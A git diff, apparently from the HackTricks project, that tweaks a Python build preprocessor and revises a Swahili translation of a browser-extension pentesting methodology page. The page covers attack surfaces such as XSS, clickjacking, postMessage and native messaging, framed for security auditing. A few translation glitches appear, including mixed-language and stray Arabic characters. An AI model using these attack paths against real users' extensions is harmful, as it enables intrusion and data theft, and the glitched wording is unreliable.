diff --git a/book.toml b/book.toml index 55f8eeb4f..3d588387c 100644 --- a/book.toml +++ b/book.toml @@ -22,6 +22,7 @@ after = ["links"] [preprocessor.hacktricks] command = "python3 ./hacktricks-preprocessor.py" +env = "prod" [output.html] additional-css = ["theme/pagetoc.css", "theme/tabs.css"] diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 37f549101..fedfdef99 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -30,14 +30,16 @@ def ref(matchobj): href = matchobj.groups(0)[0].strip() title = href if href.startswith("http://") or href.startswith("https://"): - # pass - try: - raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) - match = re.search('(.*?)', raw_html) - title = match.group(1) if match else href - except Exception as e: - logger.debug(f'Error opening URL {href}: {e}') - pass #nDont stop on broken link + if context['config']['preprocessor']['hacktricks']['env'] == 'dev': + pass + else: + try: + raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) + match = re.search('(.*?)', raw_html) + title = match.group(1) if match else href + except Exception as e: + logger.debug(f'Error opening URL {href}: {e}') + pass #nDont stop on broken link else: try: if href.endswith("/"): @@ -90,7 +92,7 @@ if __name__ == '__main__': context, book = json.load(sys.stdin) logger.debug(f"Context: {context}") - + logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}") for chapter in iterate_chapters(book['sections']): logger.debug(f"Chapter: {chapter['path']}") diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md index bd71a46c7..fb40b94d0 100644 --- a/src/1911-pentesting-fox.md +++ b/src/1911-pentesting-fox.md @@ -12,7 +12,7 @@ dht udp "DHT Nodes" ![]() -![]() +![]() InfluxDB @@ -24,6 +24,6 @@ InfluxDB ![]() -![]() +![]() {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index a269081d5..abedbf58b 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -4,38 +4,38 @@ ## Basic Information -Extensions za kivinjari zimeandikwa kwa JavaScript na hupakiwa na kivinjari katika hali ya nyuma. Ina [DOM](https://www.w3schools.com/js/js_htmldom.asp) yake lakini inaweza kuingiliana na DOM za tovuti nyingine. Hii inamaanisha kwamba inaweza kuhatarisha usiri, uadilifu, na upatikanaji (CIA) wa tovuti nyingine. +Extensions za kivinjari zimeandikwa kwa JavaScript na hupakiwa na kivinjari katika mandharinyuma. Ina [DOM](https://www.w3schools.com/js/js_htmldom.asp) yake lakini inaweza kuingiliana na DOM za tovuti nyingine. Hii inamaanisha kwamba inaweza kuhatarisha usiri, uadilifu, na upatikanaji (CIA) wa tovuti nyingine. ## Main Components -Muundo wa nyongeza unaonekana bora unapofikiriwa na unajumuisha vipengele vitatu. Hebu tuangalie kila kipengele kwa undani. +Muonekano wa nyongeza unaonekana bora unapofanywa kuwa wazi na unajumuisha vipengele vitatu. Hebu tuangalie kila kipengele kwa undani.

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

### **Content Scripts** -Kila script ya maudhui ina ufikiaji wa moja kwa moja kwa DOM ya **ukurasa mmoja wa wavuti** na hivyo inakabiliwa na **ingizo linaloweza kuwa na uharibifu**. Hata hivyo, script ya maudhui haina ruhusa nyingine isipokuwa uwezo wa kutuma ujumbe kwa msingi wa nyongeza. +Kila script ya maudhui ina ufikiaji wa moja kwa moja kwa DOM ya **ukurasa mmoja wa wavuti** na hivyo inakabiliwa na **ingizo linaloweza kuwa na madhara**. Hata hivyo, script ya maudhui haina ruhusa nyingine isipokuwa uwezo wa kutuma ujumbe kwa kiini cha nyongeza. ### **Extension Core** -Msingi wa nyongeza unajumuisha ruhusa nyingi za nyongeza, lakini msingi wa nyongeza unaweza kuingiliana tu na maudhui ya wavuti kupitia [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) na scripts za maudhui. Pia, msingi wa nyongeza haina ufikiaji wa moja kwa moja kwa mashine mwenyeji. +Kiini cha nyongeza kina ruhusa nyingi za nyongeza, lakini kiini cha nyongeza kinaweza kuingiliana tu na maudhui ya wavuti kupitia [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) na scripts za maudhui. Pia, kiini cha nyongeza hakina ufikiaji wa moja kwa moja kwa mashine mwenyeji. ### **Native Binary** -Nyongeza inaruhusu binary asilia ambayo inaweza **kufikia mashine mwenyeji kwa ruhusa kamili ya mtumiaji.** Binary asilia inaingiliana na msingi wa nyongeza kupitia Kiolesura cha Programu ya Plugin ya Netscape ya kawaida ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) inayotumiwa na Flash na nyongeza nyingine za kivinjari. +Nyongeza inaruhusu binary asilia ambayo inaweza **kufikia mashine mwenyeji kwa ruhusa kamili ya mtumiaji.** Binary asilia inaingiliana na kiini cha nyongeza kupitia Kiolesura cha Programu ya Plugin ya Netscape ya kawaida ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) inayotumiwa na Flash na nyongeza nyingine za kivinjari. ### Boundaries > [!CAUTION] -> Ili kupata ruhusa kamili ya mtumiaji, mshambuliaji lazima amshawishi nyongeza kupitisha ingizo la uharibifu kutoka kwa script ya maudhui hadi msingi wa nyongeza na kutoka kwa msingi wa nyongeza hadi binary asilia. +> Ili kupata ruhusa kamili ya mtumiaji, mshambuliaji lazima amshawishi nyongeza kupitisha ingizo la madhara kutoka kwa script ya maudhui hadi kiini cha nyongeza na kutoka kwa kiini cha nyongeza hadi binary asilia. -Kila kipengele cha nyongeza kimewekwa mbali na kingine kwa **mipaka yenye ulinzi mkali**. Kila kipengele kinakimbia katika **mchakato tofauti wa mfumo wa uendeshaji**. Scripts za maudhui na misingi ya nyongeza zinakimbia katika **mchakato wa sandbox** ambao haupatikani kwa huduma nyingi za mfumo wa uendeshaji. +Kila kipengele cha nyongeza kimewekwa mbali na kingine kwa **mipaka yenye ulinzi mkali**. Kila kipengele kinakimbia katika **mchakato tofauti wa mfumo wa uendeshaji**. Scripts za maudhui na viini vya nyongeza vinakimbia katika **mchakato wa sandbox** ambao haupatikani kwa huduma nyingi za mfumo wa uendeshaji. -Zaidi ya hayo, scripts za maudhui zimej separated kutoka kwa kurasa zao za wavuti kwa **kukimbia katika heap tofauti ya JavaScript**. Script ya maudhui na ukurasa wa wavuti zina **ufikiaji wa DOM sawa ya msingi**, lakini hizo mbili **hazibadilishani viashiria vya JavaScript**, kuzuia kuvuja kwa kazi za JavaScript. +Zaidi ya hayo, scripts za maudhui zimej separated kutoka kwa kurasa zao za wavuti kwa **kukimbia katika heap tofauti ya JavaScript**. Script ya maudhui na ukurasa wa wavuti vina **ufikiaji wa DOM sawa ya msingi**, lakini viwili **havibadilishani viashiria vya JavaScript**, kuzuia kuvuja kwa kazi za JavaScript. ## **`manifest.json`** -Nyongeza ya Chrome ni tu folda ya ZIP yenye [.crx file extension](https://www.lifewire.com/crx-file-2620391). Msingi wa nyongeza ni **`manifest.json`** faili katika mzizi wa folda, ambayo inaelezea muundo, ruhusa, na chaguzi zingine za usanidi. +Nyongeza ya Chrome ni tu folda ya ZIP yenye [.crx file extension](https://www.lifewire.com/crx-file-2620391). Kiini cha nyongeza ni **`manifest.json`** faili katika mzizi wa folda, ambayo inaelezea muundo, ruhusa, na chaguzi zingine za usanidi. Example: ```json @@ -78,7 +78,7 @@ Content scripts zina **pakiwa** kila wakati mtumiaji **anapohamia kwenye ukurasa ``` Ili kujumuisha au kutenga URL zaidi, pia inawezekana kutumia **`include_globs`** na **`exclude_globs`**. -Hii ni mfano wa script ya maudhui ambayo itaongeza kitufe cha maelezo kwenye ukurasa wakati [API ya hifadhi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) inatumika kupata thamani ya `message` kutoka kwenye hifadhi ya nyongeza. +Hii ni mfano wa skripti ya maudhui ambayo itaongeza kitufe cha maelezo kwenye ukurasa wakati [API ya hifadhi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) inatumika kupata thamani ya `message` kutoka kwenye hifadhi ya nyongeza. ```js chrome.storage.local.get("message", (result) => { let div = document.createElement("div") @@ -91,22 +91,22 @@ document.body.appendChild(div) ```
-Ujumbe unatumwa kwa kurasa za nyongeza na script ya maudhui wakati kitufe hiki kinapobonyezwa, kupitia matumizi ya [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Hii ni kutokana na kikomo cha script ya maudhui katika ufikiaji wa moja kwa moja wa APIs, ambapo `storage` ni miongoni mwa ubaguzi wachache. Kwa kazi zaidi ya ubaguzi hizi, ujumbe unatumwa kwa kurasa za nyongeza ambazo script za maudhui zinaweza kuwasiliana nazo. +Ujumbe unatumwa kwa kurasa za nyongeza na script ya maudhui wakati kitufe hiki kinapobonyezwa, kupitia matumizi ya [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Hii ni kutokana na kikomo cha script ya maudhui katika ufikiaji wa moja kwa moja wa APIs, ambapo `storage` ni miongoni mwa visثi vichache. Kwa kazi zaidi ya visثi hivi, ujumbe unatumwa kwa kurasa za nyongeza ambazo script za maudhui zinaweza kuwasiliana nazo. > [!WARNING] -> Kulingana na kivinjari, uwezo wa script ya maudhui unaweza kutofautiana kidogo. Kwa vivinjari vinavyotegemea Chromium, orodha ya uwezo inapatikana katika [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), na kwa Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) inatumika kama chanzo kikuu.\ +> Kulingana na kivinjari, uwezo wa script ya maudhui unaweza kutofautiana kidogo. Kwa kivinjari kinachotegemea Chromium, orodha ya uwezo inapatikana katika [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), na kwa Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) inatumika kama chanzo kikuu.\ > Pia ni muhimu kutambua kwamba script za maudhui zina uwezo wa kuwasiliana na script za nyuma, na kuwapa uwezo wa kutekeleza vitendo na kurudisha majibu. Ili kuona na kufanyia kazi script za maudhui katika Chrome, menyu ya zana za maendeleo za Chrome inaweza kufikiwa kutoka Options > More tools > Developer tools AU kwa kubonyeza Ctrl + Shift + I. Baada ya zana za maendeleo kuonyeshwa, **Source tab** inapaswa kubonyezwa, ikifuatiwa na **Content Scripts** tab. Hii inaruhusu kuangalia script za maudhui zinazotumika kutoka nyongeza mbalimbali na kuweka alama za kuvunja ili kufuatilia mtiririko wa utekelezaji. -### Script za maudhui zilizoongezwa +### Script za maudhui zilizowekwa > [!TIP] -> Kumbuka kwamba **Script za Maudhui si lazima** kwani pia inawezekana **kudumu** **kuongeza** script na **kuziingiza kimaandishi** katika kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina** zaidi. +> Kumbuka kwamba **Script za Maudhui si lazima** kwani pia inawezekana **kudumu** **kuweka** script na **kuziweka kimaandishi** kwenye kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina** zaidi. -Kwa kuingiza script ya maudhui kimaandishi, nyongeza inahitaji kuwa na [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) kwa ukurasa ambao script zitakuwa zinaingizwa. Ruhusa hizi zinaweza kupatikana ama kwa **kuziomba** ndani ya hati ya nyongeza au kwa msingi wa muda kupitia [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). +Kwa kuweka script ya maudhui kimaandishi, nyongeza inahitaji kuwa na [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) kwa ukurasa ambao script zitakwekwa. Ruhusa hizi zinaweza kupatikana ama kwa **kuziomba** ndani ya hati ya nyongeza au kwa msingi wa muda kupitia [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). #### Mfano wa nyongeza inayotegemea activeTab ```json:manifest.json @@ -175,7 +175,7 @@ Sehemu ya `run_at` inasimamia **wakati faili za JavaScript zinapoinjikwa kwenye Thamani zinazowezekana ni: -- **`document_idle`**: Kadri inavyowezekana +- **`document_idle`**: Wakati wowote iwezekanavyo - **`document_start`**: Baada ya faili zozote kutoka `css`, lakini kabla ya DOM nyingine yoyote kujengwa au script nyingine yoyote kuendeshwa. - **`document_end`**: Mara moja baada ya DOM kukamilika, lakini kabla ya rasilimali ndogo kama picha na fremu kupakiwa. @@ -214,7 +214,7 @@ Meseji zinazotumwa na scripts za maudhui zinapokelewa na **background page**, am - **Jukumu la Background Page:** Inafanya kazi kama kituo cha neva kwa nyongeza, kuhakikisha mawasiliano na uratibu kati ya sehemu mbalimbali za nyongeza. - **Uthabiti:** Ni kitu kinachokuwepo kila wakati, kisichoonekana kwa mtumiaji lakini muhimu kwa utendaji wa nyongeza. -- **Uundaji Otomatiki:** Ikiwa haijafafanuliwa wazi, kivinjari kitaunda kiotomatiki background page. Ukurasa huu ulioundwa kiotomatiki utajumuisha scripts zote za background zilizotajwa katika hati ya nyongeza, kuhakikisha uendeshaji usio na mshikemshike wa kazi za background za nyongeza. +- **Uundaji Otomatiki:** Ikiwa haijafafanuliwa wazi, kivinjari kitaunda kiotomatiki background page. Ukurasa huu ulioundwa kiotomatiki utajumuisha scripts zote za background zilizotajwa katika hati ya nyongeza, kuhakikisha uendeshaji usio na mshono wa kazi za background za nyongeza. > [!TIP] > Urahisi unaotolewa na kivinjari katika kuunda kiotomatiki background page (wakati haijatangazwa wazi) unahakikisha kwamba scripts zote muhimu za background zimeunganishwa na zinafanya kazi, ikirahisisha mchakato wa kuweka nyongeza. @@ -252,7 +252,7 @@ Kumbuka kwamba kurasa hizi si za kudumu kama kurasa za nyuma kwani zinapakia mau **`permissions`** na **`host_permissions`** ni entries kutoka `manifest.json` ambazo zitaonyesha **ni ruhusa zipi** nyongeza za kivinjari zina (hifadhi, eneo...) na katika **kurasa zipi za wavuti**. -Kama nyongeza za kivinjari zinaweza kuwa na **mamlaka makubwa**, moja mbaya au moja iliyovunjwa inaweza kumruhusu mshambuliaji **njia tofauti za kuiba taarifa nyeti na kupeleleza mtumiaji**. +Kama nyongeza za kivinjari zinaweza kuwa **na mamlaka makubwa**, moja mbaya au moja iliyovunjwa inaweza kumruhusu mshambuliaji **njia tofauti za kuiba taarifa nyeti na kupeleleza mtumiaji**. Angalia jinsi mipangilio hii inavyofanya kazi na jinsi inaweza kutumika vibaya katika: @@ -262,13 +262,13 @@ browext-permissions-and-host_permissions.md ### `content_security_policy` -**sera ya usalama wa maudhui** inaweza kutangazwa pia ndani ya `manifest.json`. Ikiwa kuna moja iliyofafanuliwa, inaweza kuwa **hatari**. +**sera ya usalama wa maudhui** inaweza kutangazwa pia ndani ya `manifest.json`. Ikiwa kuna moja iliyofafanuliwa, inaweza kuwa **na hatari**. Mipangilio ya default kwa kurasa za nyongeza za kivinjari ni ya kukatisha tamaa: ```bash script-src 'self'; object-src 'self'; ``` -Kwa maelezo zaidi kuhusu CSP na uwezekano wa kupita angalia: +Kwa maelezo zaidi kuhusu CSP na uwezekano wa kupita, angalia: {{#ref}} ../content-security-policy-csp-bypass/ @@ -305,7 +305,7 @@ Katika nyongeza za umma, **extension-id inapatikana**: Hata hivyo, ikiwa parameter ya `manifest.json` **`use_dynamic_url`** inatumika, **id hii inaweza kuwa ya dynamic**. > [!TIP] -> Kumbuka kwamba hata kama ukurasa umeelezewa hapa, unaweza kuwa **umejilinda dhidi ya ClickJacking** kwa sababu ya **Content Security Policy**. Hivyo unahitaji kuangalia pia (sehemu ya frame-ancestors) kabla ya kuthibitisha kuwa shambulio la ClickJacking linawezekana. +> Kumbuka kwamba hata kama ukurasa umeelezewa hapa, unaweza kuwa **umejilinda dhidi ya ClickJacking** kutokana na **Content Security Policy**. Hivyo unahitaji pia kuangalia (sehemu ya frame-ancestors) kabla ya kuthibitisha kuwa shambulio la ClickJacking linawezekana. Kuruhusiwa kufikia kurasa hizi kunafanya kurasa hizi **kuwa na uwezekano wa kuwa na udhaifu wa ClickJacking**: @@ -314,16 +314,16 @@ browext-clickjacking.md {{#endref}} > [!TIP] -> Kuruhusu kurasa hizi kupakuliwa tu na nyongeza na si kwa URL za nasibu kunaweza kuzuia mashambulizi ya ClickJacking. +> Kuruhusu kurasa hizi kupakuliwa tu na nyongeza na si na URL za nasibu kunaweza kuzuia mashambulizi ya ClickJacking. > [!CAUTION] > Kumbuka kwamba kurasa kutoka **`web_accessible_resources`** na kurasa nyingine za nyongeza pia zina uwezo wa **kuwasiliana na scripts za nyuma**. Hivyo ikiwa moja ya kurasa hizi ina udhaifu wa **XSS** inaweza kufungua udhaifu mkubwa zaidi. > -> Aidha, kumbuka kwamba unaweza kufungua tu kurasa zilizoonyeshwa katika **`web_accessible_resources`** ndani ya iframes, lakini kutoka kwenye tab mpya inawezekana kufikia ukurasa wowote katika nyongeza ukijua extension ID. Hivyo, ikiwa XSS inapatikana ikitumia vigezo sawa, inaweza kutumika hata kama ukurasa haujawekwa katika **`web_accessible_resources`**. +> Zaidi ya hayo, kumbuka kwamba unaweza kufungua tu kurasa zilizoonyeshwa katika **`web_accessible_resources`** ndani ya iframes, lakini kutoka kwenye tab mpya inawezekana kufikia ukurasa wowote katika nyongeza ukijua extension ID. Hivyo, ikiwa XSS inapatikana ikitumia vigezo sawa, inaweza kutumika hata kama ukurasa haujawekwa katika **`web_accessible_resources`**. ### `externally_connectable` -Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Mali ya `"externally_connectable"` katika manifest inatangaza **ni nyongeza zipi na kurasa za wavuti zinaweza kuungana** na nyongeza yako kupitia [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) na [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). +Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Mali ya `"externally_connectable"` ya manifest inatangaza **ni nyongeza zipi na kurasa za wavuti zinaweza kuungana** na nyongeza yako kupitia [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) na [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). - Ikiwa funguo ya **`externally_connectable`** **haijatangazwa** katika manifest ya nyongeza yako au imetangazwa kama **`"ids": ["*"]`**, **nyongeza zote zinaweza kuungana, lakini hakuna kurasa za wavuti zinaweza kuungana**. - Ikiwa **IDs maalum zimeelezwa**, kama katika `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **ni hizo programu pekee** zinaweza kuungana. @@ -401,7 +401,7 @@ Mahali ambapo inahitajika kutaja **kitambulisho cha nyongeza**. ### Ujumbe wa Asili -Inawezekana kwa skripti za nyuma kuwasiliana na binaries ndani ya mfumo, ambayo yanaweza kuwa **na hatari za msingi kama RCEs** ikiwa mawasiliano haya hayajashughulikiwa ipasavyo. [More on this later](./#native-messaging). +Inawezekana kwa skripti za nyuma kuwasiliana na binaries ndani ya mfumo, ambayo yanaweza kuwa **na udhaifu mkubwa kama RCEs** ikiwa mawasiliano haya hayajashughulikiwa ipasavyo. [More on this later](./#native-messaging). ```javascript chrome.runtime.sendNativeMessage( "com.my_company.my_application", @@ -413,7 +413,7 @@ console.log("Received " + response) ``` ## Web **↔︎** Mawasiliano ya Skripti za Maudhui -Mazingira ambapo **skripti za maudhui** zinafanya kazi na ambapo kurasa za mwenyeji zipo ni **separated** kutoka kwa kila mmoja, kuhakikisha **isolation**. Licha ya isolation hii, zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikiwa. Ili ukurasa wa mwenyeji uweze kushiriki katika mawasiliano na **skripti ya maudhui**, au kwa njia isiyo ya moja kwa moja na nyongeza kupitia skripti ya maudhui, inahitajika kutumia **DOM** inayopatikana na pande zote kama njia ya mawasiliano. +Mazingira ambapo **skripti za maudhui** zinafanya kazi na ambapo kurasa za mwenyeji zipo ni **separated** kutoka kwa kila mmoja, kuhakikisha **isolation**. Licha ya **isolation** hii, zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikiwa. Ili ukurasa wa mwenyeji ushiriki katika mawasiliano na **skripti za maudhui**, au kwa njia isiyo ya moja kwa moja na nyongeza kupitia skripti za maudhui, inahitajika kutumia **DOM** inayopatikana na pande zote kama njia ya mawasiliano. ### Post Messages ```javascript:content-script.js @@ -458,7 +458,7 @@ Mawasiliano salama ya Post Message yanapaswa kuangalia uhalali wa ujumbe ulipoke - Ikiwa regex inatumika, kuwa makini sana - **Chanzo**: `received_message.source !== window` inaweza kutumika kuangalia ikiwa ujumbe ulikuwa **kutoka kwenye dirisha lile lile** ambapo Skripti ya Maudhui inasikiliza. -Ukaguzi wa awali, hata kama umefanywa, unaweza kuwa na udhaifu, hivyo angalia kwenye ukurasa ufuatao **mipango ya Post Message**: +Ukaguzi wa awali, hata kama umefanywa, unaweza kuwa na udhaifu, hivyo angalia kwenye ukurasa ufuatao **mipango ya Post Message inayoweza kupuuziliwa mbali**: {{#ref}} ../postmessage-vulnerabilities/ @@ -484,7 +484,7 @@ browext-xss-example.md ## Mawasiliano ya Skripti ya Maudhui **↔︎** Skripti ya Nyuma -Skripti ya Maudhui inaweza kutumia kazi [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **au** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) kutuma ujumbe **wa mara moja unaoweza kuandikwa kwa JSON**. +Skripti ya Maudhui inaweza kutumia kazi [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **au** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) kutuma ujumbe **wa mara moja unaoweza kuwasilishwa kwa JSON**. Ili kushughulikia **jibu**, tumia **Promise** iliyorejeshwa. Ingawa, kwa ajili ya ulinganifu wa nyuma, bado unaweza kupitisha **callback** kama hoja ya mwisho. @@ -525,7 +525,7 @@ Katika mfano ulioangaziwa, **`sendResponse()`** ilitekelezwa kwa njia ya synchro Kitu muhimu cha kuzingatia ni kwamba katika hali ambapo kurasa nyingi zimewekwa kupokea matukio ya `onMessage`, **kurasa ya kwanza kutekeleza `sendResponse()`** kwa tukio maalum itakuwa pekee inayoweza kutoa jibu kwa ufanisi. Majibu yoyote yanayofuata kwa tukio hilo hilo hayatazingatiwa. -Wakati wa kuunda nyongeza mpya, upendeleo unapaswa kuwa kwa ahadi badala ya callbacks. Kuhusu matumizi ya callbacks, kazi ya `sendResponse()` inachukuliwa kuwa halali tu ikiwa inatekelezwa moja kwa moja ndani ya muktadha wa synchronous, au ikiwa mhandisi wa tukio unaonyesha operesheni ya asynchronous kwa kurudisha `true`. Ikiwa hakuna mhandisi anayerudisha `true` au ikiwa kazi ya `sendResponse()` imeondolewa kutoka kwenye kumbukumbu (garbage-collected), callback inayohusiana na kazi ya `sendMessage()` itachochewa kwa default. +Wakati wa kuunda nyongeza mpya, upendeleo unapaswa kuwa kwa ahadi badala ya callbacks. Kuhusu matumizi ya callbacks, kazi ya `sendResponse()` inachukuliwa kuwa halali tu ikiwa inatekelezwa moja kwa moja ndani ya muktadha wa synchronous, au ikiwa mhandisi wa tukio unaonyesha operesheni ya asynchronous kwa kurudisha `true`. Ikiwa hakuna mhandisi yeyote anayerudisha `true` au ikiwa kazi ya `sendResponse()` imeondolewa kutoka kwenye kumbukumbu (garbage-collected), callback inayohusiana na kazi ya `sendMessage()` itachochewa kwa default. ## Ujumbe wa Asili @@ -539,7 +539,7 @@ Nyongeza za kivinjari pia zinaruhusu kuwasiliana na **binaries katika mfumo kupi "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] } ``` -Mahali ambapo `name` ni mfuatano unaopitishwa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) ili kuwasiliana na programu kutoka kwa skripti za nyuma za nyongeza ya kivinjari. `path` ni njia ya binary, kuna aina 1 tu halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha nyongeza ambazo zinaweza kuipata (na haziwezi kuwa na wildcard). +Mahali ambapo `name` ni mfuatano wa herufi uliotolewa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) kuwasiliana na programu kutoka kwa skripti za nyuma za nyongeza ya kivinjari. `path` ni njia ya binary, kuna aina 1 pekee halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha nyongeza ambazo zinaweza kuipata (na haziwezi kuwa na wildcard). Chrome/Chromium itatafuta json hii katika baadhi ya rejista za windows na baadhi ya njia katika macOS na Linux (maelezo zaidi katika [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). @@ -563,7 +563,7 @@ Katika [**hiki kipande cha blogu**](https://spaceraccoon.dev/universal-code-exec 3. Skripti ya nyuma inapita ujumbe kwa programu ya asili kwa kutumia `sendNativeMessage`. 4. Programu ya asili inashughulikia ujumbe kwa njia hatari, ikisababisha utekelezaji wa msimbo. -Na ndani yake mfano wa **kuenda kutoka ukurasa wowote hadi RCE kwa kutumia kiendelezi cha kivinjari umeelezewa**. +Na ndani yake mfano wa **kuenda kutoka ukurasa wowote hadi RCE kwa kutumia kiendelezi cha kivinjari unafafanuliwa**. ## Taarifa Nyeti katika Kumbukumbu/Msimbo/Clipboard @@ -585,7 +585,7 @@ Zaidi ya hayo, taarifa nyeti sana kama vile funguo za kumbukumbu au nywila **haz Katika **Firefox** unakwenda kwenye **`about:debugging#/runtime/this-firefox`** na bonyeza kitufe cha **`Load Temporary Add-on`**. -## Kupata msimbo wa chanzo kutoka duka +## Kupata msimbo wa chanzo kutoka dukani Msimbo wa chanzo wa kiendelezi cha Chrome unaweza kupatikana kupitia njia mbalimbali. Hapa chini kuna maelezo ya kina na maagizo kwa kila chaguo. @@ -604,34 +604,34 @@ unzip -d "$extension_id-source" "$extension_id.zip" [https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/) -### Tumia kiendelezi cha CRX Viewer +### Tumia nyongeza ya CRX Viewer Njia nyingine rahisi ni kutumia Chrome Extension Source Viewer, ambayo ni mradi wa chanzo wazi. Inaweza kupakuliwa kutoka [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Msimbo wa chanzo wa mtazamaji upatikana katika [GitHub repository](https://github.com/Rob--W/crxviewer). -### Angalia chanzo cha kiendelezi kilichosakinishwa kwa ndani +### Angalia chanzo cha nyongeza iliyosakinishwa kwa ndani -Viendelezi vya Chrome vilivyowekwa ndani vinaweza pia kukaguliwa. Hapa kuna jinsi: +Nyongeza za Chrome zilizowekwa ndani pia zinaweza kukaguliwa. Hapa kuna jinsi: -1. Fikia saraka yako ya wasifu wa Chrome kwa kutembelea `chrome://version/` na kutafuta uwanja wa "Profile Path". -2. Tembelea folda ndogo ya `Extensions/` ndani ya saraka ya wasifu. -3. Folda hii ina viendelezi vyote vilivyowekwa, kwa kawaida na msimbo wao wa chanzo katika muundo unaoweza kusomeka. +1. Fikia saraka yako ya ndani ya Chrome kwa kutembelea `chrome://version/` na kutafuta uwanja wa "Profile Path". +2. Tembelea ndogo ya `Extensions/` ndani ya saraka ya wasifu. +3. Folda hii ina nyongeza zote zilizowekwa, kwa kawaida zikiwa na msimbo wao wa chanzo katika muundo unaoweza kusomeka. -Ili kubaini viendelezi, unaweza kuoanisha IDs zao na majina: +Ili kubaini nyongeza, unaweza kuoanisha vitambulisho vyao na majina: -- Washa Mode ya Developer kwenye ukurasa wa `about:extensions` ili kuona IDs za kila kiendelezi. -- Ndani ya folda ya kila kiendelezi, faili ya `manifest.json` ina uwanja wa `name` unaoweza kusomeka, ikikusaidia kubaini kiendelezi. +- Washa Mode ya Developer kwenye ukurasa wa `about:extensions` ili kuona vitambulisho vya kila nyongeza. +- Ndani ya folda ya kila nyongeza, faili ya `manifest.json` ina uwanja wa `name` unaoweza kusomeka, ikikusaidia kubaini nyongeza hiyo. ### Tumia Mchambuzi wa Faili au Unpacker -Nenda kwenye Chrome Web Store na upakue kiendelezi. Faili itakuwa na kiambishi cha `.crx`. Badilisha kiambishi cha faili kutoka `.crx` hadi `.zip`. Tumia mchambuzi wowote wa faili (kama WinRAR, 7-Zip, nk.) kutoa yaliyomo ya faili ya ZIP. +Nenda kwenye Chrome Web Store na upakue nyongeza. Faili itakuwa na kiambishi cha `.crx`. Badilisha kiambishi cha faili kutoka `.crx` kuwa `.zip`. Tumia mchambuzi wowote wa faili (kama WinRAR, 7-Zip, nk.) kutoa yaliyomo ya faili ya ZIP. -### Tumia Mode ya Developer kwenye Chrome +### Tumia Mode ya Developer katika Chrome -Fungua Chrome na nenda kwenye `chrome://extensions/`. Washa "Developer mode" kwenye kona ya juu kulia. 